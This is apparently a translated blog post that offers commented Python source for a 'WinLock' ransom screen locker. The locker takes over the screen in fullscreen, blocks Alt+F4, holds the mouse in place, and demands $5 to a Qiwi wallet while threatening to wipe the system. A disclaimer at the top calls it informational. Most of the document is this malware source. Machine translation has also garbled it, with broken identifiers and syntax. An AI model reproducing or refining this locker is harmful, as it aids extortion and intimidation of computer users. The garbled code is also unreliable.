All information is provided for informational purposes only and does not call for action!
Functions:
Code with comments:
![15823c20-50df-4263-a334-05e7dba63c4a.jpeg](https://teletype.in/files/15/82/15823c20-50df-4263-a334-05e7dba63c4a.jpeg)
Functions:
- Block F4 / alt + F4 / Fn + F4 keys
- Move the mouse to the position of the X and Y coordinates
- Remember session
Code with comments:
Code:
from tkinter import *
import pyautogui
import os
import os.path
import time
read1ng = "" # Variable for password checking
Qiwi = "Qiwi: +7 *******" # Specify the wallet
SORRYBRO = "" # Variable for checking the session
LOCKFILE = r'Path to the file \ system.logger '# Specify the path to the file system.logger it is in the folder with the locker example C: \ Users \ Name \ Desktop \ locker \ system.logger
password = ("lol") # variable with the password from the locker, you can set something of your own
t1me = 7000 # variable with timer time in seconds.
d3l = "System removal started ..."
def block ():
pyautogui.moveTo (x = 680, y = 800) # move the mouse to the position of the X and Y coordinates
screen.protocol ("WMDELETEWINDOW", block) # Prohibit the use of combinations F4 / alt + F4 / Fn + F4, and when using them calls the block function
screen.update ()
def password_ccheck (event): # Password check
global read1ng
read1ng = field.get ()
if read1ng == password:
screen.destroy () # If the password is correct then the locker removes itself
else:
No = Label (screen, text = "Wrong!", Font = "TimesNewRoman 30", fg = "red", bg = "# 1c1c1c") # Text on unsuccessful attempt
No.place (x = 700, y = 600) #y Text position
def systemrun ():
os.system ("audacity") # Command to execute after timeout
if (os.path.exists (LOCKFILE)): # If session file found
SORRYBRO = "You have restarted your computer, uninstallation started ..."
t1me = 3000 # Timer
open (LOCKFILE, 'tw', encoding = 'utf-8'). close ()
screen = Tk ()
screen.title ("WinLock")
screen.attributes ("- fullscreen", True)
screen.configure (background = "# 1c1c1c")
pyautogui.FAILSAFE = False
field = Entry (screen, fg = "green", justify = CENTER, borderwidth = 0)
but = Button (screen, text = "Unblock", borderwidth = 0)
text0 = Label (screen, text = "Your system is locked!", font = "TimesNewRoman 30", fg = "white", bg = "# 1c1c1c")
DontPanic = Label (screen, text = "Don't panic, this is not an encryptor, your files are in perfect order \ nThis program can only wipe your system off the face of the Earth, you have nothing to fear!", Font = "TimesNewRoman 24", fg = "white ", bg =" # 1c1c1c ")
text = Label (screen, text = "You need to list $ 5", font = "TimesNewRoman 30", fg = "# 32CD32", bg = "# 1c1c1c")
REMOV = Label (screen, text = SORRYBRO, font = "TimesNewRoman 40", fg = "red", bg = "# 1c1c1c")
REMOV.place (x = 400, y = 40)
Qiwiimg = PhotoImage (file = './Qiwi-little.png')
Qiwilabel = Label (screen, image = Qiwiimg, borderwidth = 0) .place (x = 350, y = 420)
textQiwi = Label (screen, text = Qiwi, font = "TimesNewRoman 16", fg = "yellow", bg = "# 1c1c1c")
text1 = Label (screen, text = "Do not restart your computer, this will delete your system!", font = "TimesNewRoman 16", fg = "red", bg = "# 1c1c1c")
Citate = Label (screen, text = "Loch is not a mammoth, Loch will not die out. \ N Socrates", font = "TimesNewRoman 16", fg = "red", bg = "# 1c1c1c")
l = Label (text = t1me, font = "Arial 22", fg = "red", bg = "# 1c1c1c")
l1 = Label (text = "Before removing the system, there are:", fg = "white", bg = "# 1c1c1c", font = "Arial 15")
but.bind ('<Button-1>', passwordeck)
but.bind ('<Enter>', password_check)
text.place (x = 700, y = 170)
DontPanic.place (x = 300, y = 240)
field.place (width = 150, height = 50, x = 600, y = 790)
but.place (width = 150, height = 50, x = 600, y = 860)
text0.place (x = 700, y = 110)
text1.place (x = 410, y = 330)
textQiwi.place (x = 410, y = 430)
l1.place (x = 20, y = 70)
l.place (x = 20, y = 100)
Citate.place (x = 900, y = 820)
screen.update ()
pyautogui.moveTo (x = 670, y = 890) # move the mouse to the position of the X and Y coordinates
while read1ng! = password:
l.configure (text = t1me)
screen.after (200) # make a delay of 200 milliseconds.
if t1me == 0:
t1me = d3l
systemrun ()
if t1me! = d3l:
t1me = t1me-1
block ()